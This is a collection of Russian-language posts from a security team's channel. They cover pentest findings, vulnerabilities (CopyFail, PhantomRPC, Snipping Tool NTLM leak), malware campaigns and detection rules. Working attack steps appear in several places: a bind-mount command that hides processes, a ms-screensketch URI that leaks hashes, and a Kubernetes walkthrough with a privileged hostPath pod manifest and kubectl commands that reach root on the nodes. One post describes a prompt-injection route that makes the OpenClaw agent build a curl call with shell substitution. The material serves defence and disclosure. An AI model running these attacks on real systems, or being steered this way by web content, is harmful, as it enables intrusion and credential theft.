Недавно наши пентестеры разбирались с утилитой PEAS для работы с Exchange ActiveSync (EAS) — и наткнулись на интересную проблему. При попытке получить листинг файловых шар через Document Library Access утилита падала с ошибкой 141 (LegacyDeviceOnStrictPolicy). При этом проверка учётных данных через --check работала нормально.

Оказалось, что раньше PEAS работал без ошибки, потому что серверы не требовали обязательного прохождения процедуры Provisioning. А когда администраторы начали включать строгие политики безопасности на Exchange, серверы стали требовать прохождения этой процедуры.

Provisioning в EAS — это механизм согласования политик безопасности между устройством и сервером через стандартный двухшаговый обмен, где клиент принимает политики безопасности сервера, а сервер в ответ разрешает дальнейшие операции. По итогу сервер выдает PolicyKey — токен доверия для конкретного аккаунта/устройства/сервера. Этот токен меняется при первом подключении нового устройства или когда админы обновляют политики; токен также может меняться от бездействия (длительного отсутствия входа в почту).

То есть без валидного PolicyKey сервер просто отклоняет запросы к данным. Интересный момент: сервер не может реально проверить, применило ли устройство политики — он полностью доверяет клиенту. Достаточно просто пройти протокольный обмен и сказать "да, я всё применил".

Раньше, когда серверы не требовали прохождения Provisioning, утилита PEAS просто отправляла PolicyKey=0. Но теперь это может не работать, поскольку сервер теперь может потребовать валидный токен.

Для решения этой проблемы наши эксперты пропатчили PEAS, добавив автоматический Provisioning перед UNC-операциями. Теперь утилита сначала выполняет двухфазный обмен с сервером, получает валидный PolicyKey и только потом делает запросы к файловым шарам. Дополнительно добавили флаг --policy-key для переиспользования ключа при массовых операциях, это убирает лишние запросы и уменьшает шум в логах.

Если хочется поглубже понять механизм EAS и исторический контекст утилит, можно посмотреть подробную статью от создателей PEAS, опубликованную ещё в 2016-м. Похоже, что тема всплывает раз в пять лет, и мы как раз подвезли актуализацию.

Что делать защитникам:

Необходимо следить за Microsoft Exchange как за критичным узлом, который зачастую становится "открытой дверью" к почте, файлам и внутренним ресурсам. Поэтому:

— По возможности вырубайте легаси-функциональность (EAS Document Library/UNC и прочие пережитки), сокращайте исключения и совместимость со всем подряд.

— Если отключить нельзя, используйте поведенческий контроль клиентов EAS: проверяйте, что перед доступом к данным всегда есть нормальный двухфазный Provisioning, следите за всплесками Status=141/142 и HTTP 449, смотрите динамику PolicyKey (внезапные смены/реюз между устройствами — знак тревоги).

— Параллельно ужесточайте базовую гигиену: регулярно пересматривайте политики, чистите старые профили и временные исключения, валидируйте сторонние клиенты до продакшена.

— Ограничивайте срок жизни кэшированных PolicyKey и фиксируйте их привязку к аккаунту/серверу/устройству. Тащите всё это в SIEM с привязкой "аккаунт >> устройство >> PolicyKey >> операции". Потому что в Exchange может быть всякое: смешанные политики, странные клиенты, исторические хвосты конфигураций — и это регулярно выстреливает.

Главная мысль: EAS по дизайну доверяет заявлению клиента о принятии политик. Это нормально для протокола, но с точки зрения защиты нельзя опираться только на EAS. Добавляйте поведенческий мониторинг, внешнюю проверку комплаенса (MDM/Intune) и минимизируйте поверхность атаки за счёт отключения ненужного наследия.

Вы когда-нибудь задумывались о персональном ИИ-помощнике, который делает всё, что вы пожелаете? Как в фильме Her. Сейчас такая фантазия как будто почти реальна: LLM-агент OpenClaw быстро набирает популярность.

Но как мы предсказывали ещё в прошлом году, LLM-агенты становятся популярным вектором атак. И к уже известным проблемам безопасности OpenClaw недавно добавилась ещё одна, о которой расскажем сегодня.

Когда работаешь с LLM-агентами, легко попасть в ловушку неправильных ожиданий. Кажется, что даёшь агенту простую задачу: посмотри страницу, собери данные, проанализируй. Но на практике вы делегируете не только цель, но и способ её достижения. В этом и проблема.

LLM-агенты принимают решения на основе языковой модели, а действуют с помощью кода, вызовов API или утилит ОС. При слабых ограничениях на действия и доступ к данным агент может повести себя слишком самостоятельно. Такова природа больших языковых моделей: они выдают статистически уместные ответы на основе текущего контекста. Здесь ключевое слово - статистически.

Можно возразить, что существуют тщательно прописанные prompt’ы. Но LLM обучены быть полезными, и если не получается достичь результата описанным способом, они могут искать альтернативные пути решения задачи.

Иногда эти альтернативы разумные. А иногда - выходящие далеко за рамки того, что предполагал пользователь. В частности, действия агента могут приводить к компрометации узла, на котором работает LLM-агент.

Так получилось и в нашем случае: мы проанализировали агента OpenClaw и нашли способ добиться RCE. При посещении специально подготовленной веб-страницы агент OpenClaw выполняет команды оболочки в контексте пользователя, под которым запущен процесс.

В ответ на наш репорт вендор сообщил, что рассматривает описанное поведение как prompt injection, а не дефект агента, и потому не квалифицирует его как уязвимость.

Мы понимаем их позицию, но считаем риск классовым и заслуживающим огласки. Поэтому публикуем минимально необходимые практические меры снижения риска обнаруженной нами атаки:

1. Запускайте OpenClaw в Docker-контейнере, изолировав его от чувствительных данных и инфраструктуры.

2. Ограничивайте инструменты, например, установив подтверждение всех системных команд exec.ask=always.

3. По возможности отключите использование exec.

4. В средах с высокими требованиями к безопасности лучше вообще воздержаться от использования OpenClaw.

Общий вывод: с агентами на базе LLM мы делегируем не только «что сделать», но и «как именно». Без строгих ограничений это чревато неожиданными и опасными последствиями.

Большой технический разбор нашей находки выпустим позже, не переключайтесь.

Борьба с зарубежным ПО, как правило, обосновывается требованиями безопасности. Но слишком резкий импортозамес иногда напоминает последствия «сухого закона», когда лишенные привычного алкоголя граждане не перестают пить — а просто переходят на более сомнительные напитки. И в ближайшее время мы увидим ещё множество проблем безопасности из-за вынужденного перехода пользователей и целых компаний на «альтернативные» мессенджеры и видеоконференции.

Сейчас наши эксперты наблюдают новую вредоносную кампанию группировки Head Mare (Rainbow Hyena), нацеленную на российские организации. Злоумышленники используют скомпрометированные сервера TrueConf, распространяя заражённые дистрибутивы клиентского приложения для видеоконференций TrueConf; при установке такого приложения на устройство жертвы ставится бэкдор.

Предполагается, что основным вектором атаки является уязвимость серверов TrueConf, выявленная в августе 2025 года и уже эксплуатировавшаяся в прошлом году.

Рекомендации по защите:

В первую очередь рекомендуется установить исправленную версию сервера TrueConf, а также убедиться, что клиентские дистрибутивы, загружающиеся с вашего сервера TrueConf, имеют действительную цифровую подпись (вредоносные дистрибутивы её не имеют).

Кроме того, атаку можно обнаружить с помощью EDR, SIEM или MDR-сервисов на основе отслеживания следующих событий и процессов:

— Подмена файлов-клиентов приложения TrueConf на сервере TrueConf в директории C:\Program Files\TrueConf Server\ClientInstFiles\;

— Обращения к подозрительным доменам от процесса клиентского приложения C:\Program Files\TrueConf\Client\TrueConf.exe;

— Загрузка подозрительных библиотек процессом клиентского приложения C:\Program Files\TrueConf\Client\TrueConf.exe;

— Обращения процесса C:\Program Files\TrueConf\Client\TrueConf.exe к IP-адресам из необычных регионов;

— Создание подозрительных файлов и процессов клиентским приложением C:\Program Files\TrueConf\Client\TrueConf.exe;

— Создание подозрительных дочерних процессов от имени серверного процесса tc_webmgr.exe.

Продробности и дополнительные индикаторы компрометации — в статье "Кампания Head Mare с бэкдором PhantomPxPigeon и зараженными установочными файлами ПО TrueConf"

Решения компании 1С сейчас лидируют среди систем управления ресурсами предприятия (ERP) на российском рынке. Поэтому выросло и число атак через программное обеспечение 1С: как мы уже рассказывали, атакующие используют тривиальные ошибки в настройках, включая аккаунты с пустыми паролями.

А сегодня разберём другой кейс: в последнее время на пентестах и в реальных атаках встречается использование запуска командных оболочек от ERP. На скриншоте выше — пример проведения разведки с помощью таких команд.

Как обнаружить:

В серверной архитектуре 1С обычно работают несколько ключевых процессов:

ragent.exe — агент сервера 1С. Он отвечает за управление кластером, запуск рабочих процессов, распределение нагрузки.

rphost.exe — Remote Procedure Host. Это основной рабочий процесс платформы. В нём исполняется серверная логика: код конфигурации, запросы к СУБД, бизнес-процессы.

rmngr.exe — Cluster Manager. Это компонент управления кластером, отвечающий за балансировку, распределение сеансов и контроль рабочих процессов.

Нормальным поведением перечисленных ключевых процессов считается работа с СУБД, обработка клиентских запросов — но не запуск командных оболочек (cmd, powershell и др.), которые используются для атак.

Детектирующее правило:

logsource:
category: process_creation
product: windows
detection:
parent_process:
ParentImage|endswith:
- '\sqlservr.exe'
- '\rphost.exe'
- '\rmngr.exe'
- '\ras.exe'
interpreter_image:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
- '\wscript.exe'
- '\cscript.exe'
interpreter_originalfilename:
OriginalFileName:
- 'Cmd.Exe'
- 'PowerShell.EXE'
- 'pwsh.dll'
- 'WScript.exe'
- 'CScript.exe'
condition: parent_process and (interpreter_image or interpreter_originalfilename)

В зависимости от размеров инфраструктуры, правило можно разбить. Например, для cmd, powershell и разделить серверные приложения.

Сегодня, 31 марта, айтишники и сочувствующие им граждане отмечают День резервного копирования. В этот день много говорят о необходимости делать бэкапы, чтобы спастись от Дня дурака, который наступит 1 апреля.

А мы для разнообразия напомним другое: не все бэкапы одинаково полезны. В частности,

— сервисы резервного копирования могут быть использованы для компрометации вашей системы, особенно если это сервисы на основе протокола NDMP;

— работа с бэкапами кустов реестра позволяет обойти проверки безопасности и извлекать секреты из реестра Windows без привилегий SYSTEM;

— неприятные последствия может повлечь за собой поспешное восстановление из бэкапов после инцидента, если сами бэкапы были скомпрометированы на момент создания.

Раньше мы каждый год выпускали два отдельных отчёта об инцидентах: от команды Managed Detection and Response (MDR) и от команды Inсident Response (IR). Для примера можно посмотреть такую статистику за 2023 год и за 2024 год.

А в этом году сделали один общий отчёт — и сейчас расскажем, почему.

Сами по себе статистика инцидентов у клиентов нашего MDR неплохо отражает реальный ландшафт угроз, поскольку клиенты сервиса есть во многих странах мира и во всех секторах экономики. На основе этой статистики за разные периоды можно даже предсказывать некоторые тенденции ближайшего будущего.

Однако для более детального изучения угрозы желательно её наблюдение на всех этапах. А в условиях MDR это невозможно, поскольку вредоносная активность обнаруживается и предотвращается на ранних стадиях атаки, не успев развиться до ущерба.

Зато в сервисе IR ситуация обратная: когда клиенты обращаются к этому сервису, зачастую ущерб уже налицо, и в рамках расследования нередко удается восстановить все стадии атаки.

И в подавляющем большинстве случаев клиентские базы MDR и IR не пересекаются. Ведь хорошая работа MDR при условии полного покрытия инфраструктуры состоит в том, чтобы не допустить того этапа атаки, когда без IR не обойтись; с другой стороны, факт подключения IR, особенно когда уже есть ущерб, означает либо отсутствие MDR, либо проблемы с покрытием.

Поэтому можно с уверенностью утверждать, что статистики инцидентов MDR и IR покрывают оба возможных профиля:

— инфраструктуры, защищенные MDR, где атаки были обнаружены и предотвращены на ранних стадиях, и попали в статистику MDR,
— инфраструктуры без MDR либо такие, где инциденты были пропущены и не попали в статистику MDR, но попали в статистику IR.

Короче, объединение статистик MDR и IR позволяет лучше понимать нынешние и грядущие угрозы. Как это получилось в деталях — смотрите в глобальном отчёте.

Только отгремел День бэкапов — а на дворе уже 1 апреля, когда в нашей стране отмечают другой большой праздник. Мы тоже решили не оставаться в стороне: отпразднуем этот день открытием собственного сайта!

Да-да, теперь у нас есть сайт в старом добром Интернете, где все наши новости можно читать без регистрации и даже без сдачи биометрии:

https://purpleshift.io/ru/purple/

Кстати, если у вас есть коллеги (партнеры, руководители, родственники), которые лучше понимают английский язык, чем русский — на этот случай имеется английская версия нашего блога:

https://purpleshift.io/purple/

Остальные разделы сайта пока в разработке, так что про них расскажем позже.

А наш ТГ-канал purpleshift продолжит обновляться, как и прежде. Просто не все наши материалы помещаются в краткий телеграмный формат. Но мы будем анонсировать все новинки здесь, по мере появления на сайте. Stay tuned!

Чтобы сделать вредоносные файлы невидимыми для систем защиты, атакующие используют различные техники. Самые известные — это руткиты и буткиты. Но иногда достаточно и более простых механизмов. Недавно мы наткнулись на технику маскировки процессов в Linux через bind mount поверх /proc.

Когда утилита для монтирования файловых систем mount запускается с флагом bind, это позволяет "приклеить" одну директорию или файл в другую точку файловой системы. При этом исходные данные в целевой точке становятся невидимыми; фактически, они перекрываются содержимым примонтированного пути.

Атакующий с root-доступом может использовать это для маскировки процессов.

Например, процесс с PID 1234 можно спрятать через mount:

mount --bind /tmp/empty /proc/1234 

После этого содержимое настоящего /proc/1234 перекрывается пустой директорией. Утилиты вроде ps, top или htop читают данные именно из /proc, поэтому для них процесс как будто исчезает. При этом сам процесс продолжает работать: слушает порты, выполняет код, держит соединения.

Иногда делают еще аккуратнее: поверх /proc/<pid>/exe или /proc/<pid>/cmdline монтируют другой файл. Тогда процесс вроде бы виден, но его бинарь или аргументы подменены.

Как ловить атаку?

Проверка mount-таблицы помогает обнаружить сокрытие процесса. Утилиты mount или findmnt покажут bind mounts внутри /proc. В нормальной системе их там почти не бывает.

С точки зрения правил обнаружения для SOC, отслеживаем запуски утилиты mount с соответствующими аргументами: "--bind", "-B", "-o bind" и "/proc")

Также имеет смысл мониторить системный вызов mount на уровне ядра. Например, для auditd простейшее правило аудита может выглядеть так:

auditctl -a always,exit -F arch=b64 -S mount -k mount_monitor 

В файле /var/log/audit/audit.log будут фиксироваться события монтирования, включая bind mounts. При анализе стоит обращать внимание на операции, где точкой монтирования выступают пути внутри /proc.

Если вы занимаетесь пентестом беспроводных сетей, то наверняка встречали инфраструктуры на основе 802.11r (Fast BSS Transition) — это стандарт быстрого роуминга, который активно используется в корпоративных сетях, на производстве, в складских комплексах и т.д. Но вот незадача: ни HashCat, ни John the Ripper такие хэши не поддерживали.

Единственный рабочий вариант, который существовал до недавнего времени — использование однопоточного python-скрипта, который к тому же поддерживает только EAPOL и не умеет работать с PMKID. Это лучше, чем ничего, и такой вариант можно было использовать в качестве PoC и подбора по словарю из пары тысяч паролей. Но о каких-либо серьезных атаках по подбору пароля на GPU говорить не приходилось.

Причина в том, что криптографическая схема в случае 802.11r несколько отличается от классического WPA-PSK. Ключ PMK считается так же — через PBKDF2-HMAC-SHA1, но дальше начинается своя кухня: цепочка из трёх шагов на HMAC-SHA256, плюс финальный MIC через AES-128-CMAC. И всё это с дополнительными параметрами (MDID, R0KH-ID, R1KH-ID), специфичными для конкретной беспроводной сети.

Именно это пришлось реализовать нашим специалистам, когда они столкнулись с 802.11r на одном из проектов по анализу защищённости. И в итоге получился новый модуль для HashCat, с поддержкой обоих типов хэшей, PMKID и EAPOL для FT-PSK:
https://github.com/hashcat/hashcat/pull/4645

Так что если на очередном пентесте вам попадётся сеть с 802.11r — больше не нужно довольствоваться однопоточным скриптом. Скармливаем пойманные хэши в HashCat и едём дальше!

Служба WebClient, которая в Windows реализует протокол WebDAV, с точки зрения атакующего представляет особый интерес, так как позволяет осуществлять релей-атаки на другие протоколы (например, на LDAPS), что в свою очередь позволяет делать релей на контроллер домена.

В частности, атакующий может повысить привилегии и даже полностью захватить домен, если служба WebClient установлена на сервере SCCM и выполнены следующие условия:

— либо подпись LDAP, либо привязка канала LDAPS отключена хотя бы на одном контроллере домена,
— включена автоматическая принудительная установка клиента (сlient push installation),
— включен NTLM Fallback.

На скриншоте выше представлен сценарий эксплуатации SCCM-сервера через механизм установки клиента (client push installation). Похожая картина будет и при атаках на принудительную аутентификацию (coerce).

Как защищаться?

Рекомендуем отключить службу WebClient на SCCM-серверах. Если это невозможно, мониторьте подозрительные обращения по протоколу WebDav от SCCM-сервера.

О других техниках атак на System Center Configuration Manager (SCCM), а также о методах их детектирования вы можете узнать, если посмотрите запись доклада Александра Родченко и Глеба Иванова "C2 от Microsoft: Что может пойти не так, если SCCM окажется не в тех руках".

Как мы и обещали, продолжаем историю про слишком самостоятельных LLM‑агентов. Наши эксперты проверили OpenClaw на дефолтных настройках — и добились того, что агент выполняет вредоносные системные команды в контексте текущего пользователя после клика по специально подготовленной ссылке.

Вкратце о том, как это сделано: если сломать обычное получение контента (цепочка 301→204 или JS‑редирект), модель уходит в fallback и сама собирает вызов curl, а в аргументе этого вызова содержится URL, где спрятана подстановка $(…).

В лайтовом примере атаки мы получили выполнение whoami, в серьезном — загрузку и запуск полезной нагрузки. Срабатывает не всегда, но достаточно часто, чтобы это считалось практическим риском.

Проверили технику на разных LLM — получили схожее поведение. Мораль: полагаться на выравнивание моделей (LLM alignment) как на «границу безопасности» нельзя.

Всю механику этой атаки с примерами HTTP-ответов и сниппетами кода на Python, а также рекомендации по защите, читайте в статье "Атака через OpenClaw: когда ваша LLM делает RCE".

Кстати, интересно ваше мнение: это скорее prompt injection (ставьте смайлик в очках) или это уязвимость агента (ставьте смайлик пришелец). По вашим реакциям посмотрим, куда склонится комьюнити.

Архитектура Windows преподнесла новый сюрприз, а точнее, новую поверхность атак в старой технологии.

Межпроцессное взаимодействие в Windows опирается на протокол RPC (Remote Procedure Call) — сложный механизм, в котором год за годом выявляются различные уязвимости. Вот и наш эксперт Хайдар Кабибо, давно изучающий безопасность RPC, нашёл новый архитектурный вектор локального повышения привилегий, получивший название PhantomRPC.

Суть техники: атакующий поднимает поддельный RPC-сервер, который отвечает на запросы клиента по тому же UUID/эндпойнту, что и легитимный сервер, а затем вызывает RpcImpersonateClient и получает контекст вызывающего процесса (вплоть до SYSTEM, в зависимости от сценария).

Ключевое условие: у процесса атакующего есть привилегия SeImpersonatePrivilege (как правило, доступная для учётных записей Network Service или Local Service). Именно в этом случае становится возможна эскалация до SYSTEM или уровня администратора, если легитимный RPC-сервер недоступен — например, когда соответствующая служба отключена.

Это не уязвимость конкретной службы (в отличие от семейства Potato), а следствие того, что RPC-рантайм не проверяет легитимность RPC-сервера и позволяет другому процессу зарегистрировать тот же эндпойнт, что и у легитимного сервера. В некоторых случаях требуются дополнительные условия среды (например, наличие определённой конфигурации GPO).

Все описанные в исследовании пути повышения привилегий протестированы на Windows Server 2022 и Windows Server 2025 с последними обновлениями, доступными на момент исследования. Автор отмечает, что уязвимость может быть проэксплуатирована и на других версиях Windows, поскольку она является проблемой архитектурного дизайна.

Что можно сделать до появления патча:

— минимизировать SeImpersonatePrivilege у нестандартных/кастомных процессов (удалять её, если она не нужна);

— по возможности включать легитимные сервисы, работающие на основе RPC, чтобы их RPC-эндпойнты были заняты штатными серверами;

— включить ETW-мониторинг RPC-событий и отслеживать ошибки RPC_S_SERVER_UNAVAILABLE от высокопривилегированных клиентов — это позволяет обнаружить попытки подмены до её реального выполнения.

Таким образом, уязвимость PhantomRPC открывает новую поверхность атак в Windows RPC и требует постоянного внимания администраторов и разработчиков приложений, использующих этот протокол.

Подробности с примерами кода и схемами эксплуатации — в статье "PhantomRPC: новая техника повышения привилегий в Windows RPC".

Этот доклад также вошёл в программу конференции Black Hat Asia 2026, которая завершается сегодня в Сингапуре.

Инструмент Bloodhound был создан в 2016 году для поиска способов получения привилегий доменного администратора с помощью представления взаимосвязей между объектами целевой Active Directory в виде графа.

Несмотря на солидный возраст, Bloodhound до сих пор остаётся одним из популярных средств разведки и сбора данных в целевой инфраструктуре, и регулярно фигурирует в отчётах об инцидентах.

Эксперты из нашей команды SOC Consulting протестировали работу свежих версий этого инструмента и выяснили, по каким следам в логах можно выявить разные методы сбора данных коллекторами SharpHound и Bloodhound.pу.

Результаты вкратце:

— основные правила корреляции для обнаружения обоих коллекторов строятся на событиях 5145, но можно использовать и события 5712 для более точного детектирования;

— обнаружить работу обоих коллекторов также можно по LDAP-запросам с определёнными атрибутами, используя журналы 1644 «LDAP-Search»;

— поскольку события, необходимые для обнаружения коллекторов, генерируются в большом количестве и могут быть связаны с легитимной активностью, стоит обращать внимание на характерные последовательности запросов и операций, происходящие в течение очень короткого времени (нескольких секунд).

Все остальные нюансы детектирования этого инструмента — в статье Степана Ляхова "Кто выпустил гончую. Ищем следы коллекторов Bloodhound в логах Windows".

На днях обнаружена серьёзная уязвимость CVE-2026-31431 (CopyFail) в ядре Linux, которая эксплуатируется во всех основных дистрибутивах. Уязвимость позволяет локальному непривилегированному пользователю получить права root.

Суть узявимости:

Криптографический алгоритм authencesn во время работы использует часть выделенной памяти в качестве «черновика» и записывает четыре байта прямо в страницы кеша файла. Это даёт атакующему возможность модифицировать кеш любого читаемого файла.

Эксплоит представляет собой 732-байтный Python-скрипт, который последовательно вызывает операции AF_ALG и splice для записи четырёх контролируемых байт в кеш, например, setuid-приложения. В результате модифицируется исполняемый код в памяти и запускается шелл с рутовыми правами.

Что делать:

Рекомендуется в первую очередь обновить ядро, а если это невозможно — отключить модуль algif_aead (интерфейс AF_ALG для AEAD).

Как детектировать атаку:

Артефакты запуска исходного эксплоита на Python можно увидеть на скриншоте выше. Запуск отслеживается по характерным командным строкам:

sh -c -- su
sh -c -- newgrp
sh -c -- passwd
sh -c -- gpasswd
sh -c -- sudo
sh -c -- chfn
sh -c -- umount
sh -c -- mount
sh -c -- fusermount3
sh -c -- chsh
sh -c -- su

Аналогичные строки могут быть и с другими setuid-файлами.

Можно отслеживать атаку и по характерной цепочке процессов: python запускает shell.

Также рекомендуется контролировать:

— создание сокета AF_ALG (интерфейс к криптографическому API ядра Linux) непривилегированными пользователями,
— использование системного вызова splice(), который позволяет перемещать данные между двумя файловыми дескрипторами (например, из файла в пайп или из сокета в файл) внутри памяти ядра.

Необходимо отметить, что уже появляются другие версии эксплоитов, детектирование которых может отличаться. Следите за подозрительными изменениями идентификатора пользователя родительского и дочернего процессов от неизвестных файлов либо файлов, нехарактерных для вашей инфраструктуры.

Update: Дополнительные артефакты и рекомендации по детектированию атаки Copy Fail собраны здесь.

Одна из горячих тем этого года в кибербезе —использование LLM для пентестов. В новостях пишут, что новые модели с большой скоростью находят множество уязвимостей, поэтому сон мясных пентестеров становится тревожным.

Однако дьявол, как обычно, в деталях. Например, использование облачных LLM для таких целей может быть сильно ограничено — как со стороны их владельцев (они боятся вредоносного применения своих нейронок), так и со стороны пользователей (они боятся утечки своих секретов через облачные сервисы).

А как насчёт применения локальных LLM для пентестов? Здесь тоже есть свои подводные камни.

Наш эксперт Ахмед Хлиф в своём исследовании проанализировал, как решают задачу поиска уязвимостей различные локальные версии популярных нейронок (GLM, Qwen, GPT OSS, Gemma).

Для теста было разработано пользовательское веб-приложение с несколькими уязвимостями, которые позволяют осуществлять SQL-инъекции. Локально развёрнутым моделям нужно было определить конечные точки веб-приложения и обнаружить уязвимости, используя только собственные рассуждения и знания: у них не было доступа к RAG и к поиску в Интернете, но был доступ к некоторым MCP-инструментам, таким как Chrome DevTools.

Главный результат исследования: одна только скорость вывода не является надежным показателем эффективности работы AI-агента в реальных условиях. На качество результатов влияет целый ряд факторов, включая умение агента чётко выполнять инструкции. Некоторые нейронки делают то, чего их не просили — а это может быть опасно (как и неправильная работа с MCP-инструментами).

А вот модели, которые показали себя лучшими в пентестах:

— Лучшая модель в целом: GLM-4.7-Flash-UD-Q8_K_XL

— Лучшее соотношение скорости и эффективности: Qwen3.5-35B-A3B-Q8_0

— Лучшая детализация уязвимостей: Qwen3.6-27B-UD-Q8_K_XL

— Лучшая из маленьких моделей: Qwen3.5-9B-UD-Q8_K_XL

Подробности читайте в статье Ахмеда Хлифа "Пентесты с помощью ИИ: что умеют локальные LLM"

В Windows 11 версии 24H2 и Windows Server 2025 добавлены новая политика и события аудита NTLM. Расширенный аудит поддерживает улучшенный мониторинг безопасности и идентификацию устаревших зависимостей проверки подлинности NTLM.

Ранее в новых ОС Windows при установке с нуля стали по умолчанию включать различные методы защиты от релей-атак, такие как EPA, SMB signing и LDAP-channel binding. Тем не менее, при апгрейде со старых версий ОС настройки будут оставаться прежние, и атаки будут работать.

Поэтому обращаем внимание на новые события:

— 4020 (Informational)
— 4021 (Warning) "This machine attempted to authenticate to a remote resource via NTLM”
— 4022 (Informational)
— 4023 (Warning) “A remote client is using NTLM to authenticate to this workstation”

Эти события можно использовать для детектирования coercing-атак либо для анализа  нетипичных  настроек NTLM-аутентификации.

На скриншоте выше — как раз пример coercing-атаки: цепочка событий 4023 и 4021 с одного IP-адреса атакующего.

Мы уже рассказывали, как наши пентестеры находят и анализируют кластеры Kubernetes. А сегодня — история о том, какие интересные доступы можно получить через такие кластеры.

На одном из проектов после попадания во внутреннюю сеть мы обнаружили хост, у которого для сервиса на порту 443/TCP используется сертификат с common name: system:kube-apiserver. Похоже, это нода кластера Kubernetes c Kubernetes API?

К нашему удивлению, API было доступно без аутентификации (проверяли только GET-запросы). Мы смогли получить данные о неймспейсах, подах и, что самое интересное, секретах. Сделали вывод, что это тестовый кластер Kubernetes. Но мы решили, что он все равно достоин внимания:

proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secrets

Из секретов мы получили токены 31 сервисной учётной записи (да, без аутентификации). Изучили привилегии этих учёток (объекты clusterrolebinding и clusterrole) и обнаружили, что с их использованием можно выполнять любые действия по управлению кластером, включая изменение ролей сервисных учетных записей, создание подов и исполнение команд в подах.

Чтобы получить возможность исполнения команд на ноде, создали под с такой конфигурацией (контейнеры в кластере использовали образы из локального docker registry, так что в конфигурации мы указали один из используемых образов):

apiVersion: v1
kind: Pod
metadata:
  creationTimestamp: null
  labels:
    run: <my-pod>
  name: <my-pod>
spec:
  volumes:
  - name: host-filesystem
    hostPath:
      path: /
  containers:
  - command:
    - sleep
    - 2d
    image: <link_to_image>
    name: <my-pod>
    volumeMounts:
    - mountPath: /mnt/
      name: host-filesystem
    resources: {}
    securityContext:
      privileged: true
      runAsUser: 0
  dnsPolicy: ClusterFirst
  restartPolicy: Always
  nodeName: <node_name>
  hostNetwork: true
  hostPID: true
  hostIPC: true
status: {}

Команда для создания пода:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>

После создания пода запустили bash и изменили корневую директорию на корневую директорию ноды:

HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash

chroot /mnt

Так мы получили рутовый доступ на ноде (для закрепления можно было положить ключ в authorized_keys). В кластере было четыре ноды, поэтому было создано четыре пода с разными nodeName для исполнения на каждой ноде.

После получения привилегированного доступа на одной из нод в файле /opt/some-service/config.yaml была обнаружена ссылка на файл в репозитории:

https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.java

А в директории /home/some-user/.ssh/ был обнаружен файл с приватным SSH-ключом identity.bitbucket.domain.local. Мы склонировали этот репозиторий и поискали в нем упоминания других. Нашлось 89 репозиториев.

git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-back

К тем репозиториям, что мы пробовали склонировать, удалось получить доступ с помощью обнаруженного ключа. Предполагаем, что далее мы могли бы найти больше репозиториев с исходным кодом приложений заказчика, и ко всем получили бы доступ с этим ключом.

Выводы:

Для команды красных: даже если вы понимаете, что попали в тестовую среду, не бросайте хост, осмотритесь. Может, найдете что-то полезное или расширите сетевой доступ.

Для команды синих: не забывайте про тестовые среды, их тоже нужно защищать.

Для всех: даже если вы думаете, что что-то невозможно (например, получение секретов из Kubernetes API без аутентификации) — стоит проверить. Вдруг оно сработает именно в этот раз.

Snipping Tool, или просто "Ножницы" — популярный инструмент Windows для работы со скриншотами. Но благодаря появлению PoC к уязвимости CVE-2026-33829, этот же инструмент позволяет похищать NetNTLM-хэши пользователей. Правда, для этого всё ещё нужен клик жертвы.

Суть атаки:

Приложение регистрирует кастомную URI-схему ms-screensketch. Она нужна, чтобы из браузера или другого приложения открыть скриншот на редактирование. Проблема в параметре filePath. Если указать там путь до сетевого ресурса, например \\attacker\share\img.png, то Snipping Tool попытается сделать запрос к удаленному каталогу. А заодно отправит NetNTLM-хэш текущего пользователя на сервер атакующего.

Выглядит это примерно так:

ms-screensketch:edit?&filePath=\\192.168.100.10\snip\Imgur.png&isTemporary=false&saved=true&source=Toast

Теперь достаточно заманить пользователя на страницу с таким iframe или редиректом. Когда жертва соглашается с открытием картинки через Snipping Tool, открывается знакомый инструмент для обрезки картинок. А в фоне в это время утекает NetNTLM-хэш.

При этом утечка происходит не только на внутренние адреса, но и на внешние. А также не только через SMB, но и через WebDAV (см. скриншоты выше). Это делает сценарий атаки заметно гибче. В инфраструктурах, где SMB на публичные адреса фильтруется, WebDAV вполне может пройти через прокси или разрешённые HTTP-маршруты.

Как детектить:

Отличительной особенностью здесь будет выступать запуск SnippingTool.exe c параметром filePath, который начинается с двойного обратного слэша \\ или с его URL-кодированной версии %5C%5C:

"C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2502.18.0_x64__8wekyb3d8bbwe\SnippingTool\SnippingTool.exe" ms-screensketch:edit?&filePath=%5C%5C192.168.100.10%5Csnip%5CImgur.png&isTemporary=false&saved=true&source=Toast

Также триггером могут стать исходящие SMB-запросы (445 порт) с хоста на внешние IP или на внутренние узлы, не являющиеся файловыми серверами домена.

Как защищаться:

Патч KB из апрельского апдейта Windows уже закрывает дыру. Если по какой-то причине обновить конкретную машину прямо сейчас нельзя, то есть смысл заблокировать схему ms-screensketch через GPO.

В качестве общих рекомендаций стоит упомянуть, что большинство приложений для взаимодействия с WebDAV-серверами используют системный сервис WebClient. Поэтому стоит обращать внимание на внешние соединения, инициированные через C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClient, содержащие в user-agent параметр Microsoft-WebDAV-MiniRedir/* и метод обращения PROPFIND. Однако этот индикатор может быть шумным.

Также стоит рассмотреть возможность ограничения исходящего NTLM-трафика политикой: Computer Configuration > Administrative Templates > System > Net Logon > Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers.

Сегодня расскажем ещё одну поучительную историю из практики наших пентестов.

Однажды на проекте мы сами себе создали задачу: у нас было RCE от SYSTEM на контроллере домена, но мы не хотели создавать новые учетные записи или добавлять существующие в администраторы домена. А получить привилегии админа было нужно. Мы придумали несколько решений, и хотя не все они сработали, это был интересный опыт.

Условия задачи:

— Есть исполнение на доменном хосте от SYSTEM и NT-хеш пароля этого хоста.
— Есть привилегии администратора домена в корневом домене в другом лесу AD (двухстороние трасты).
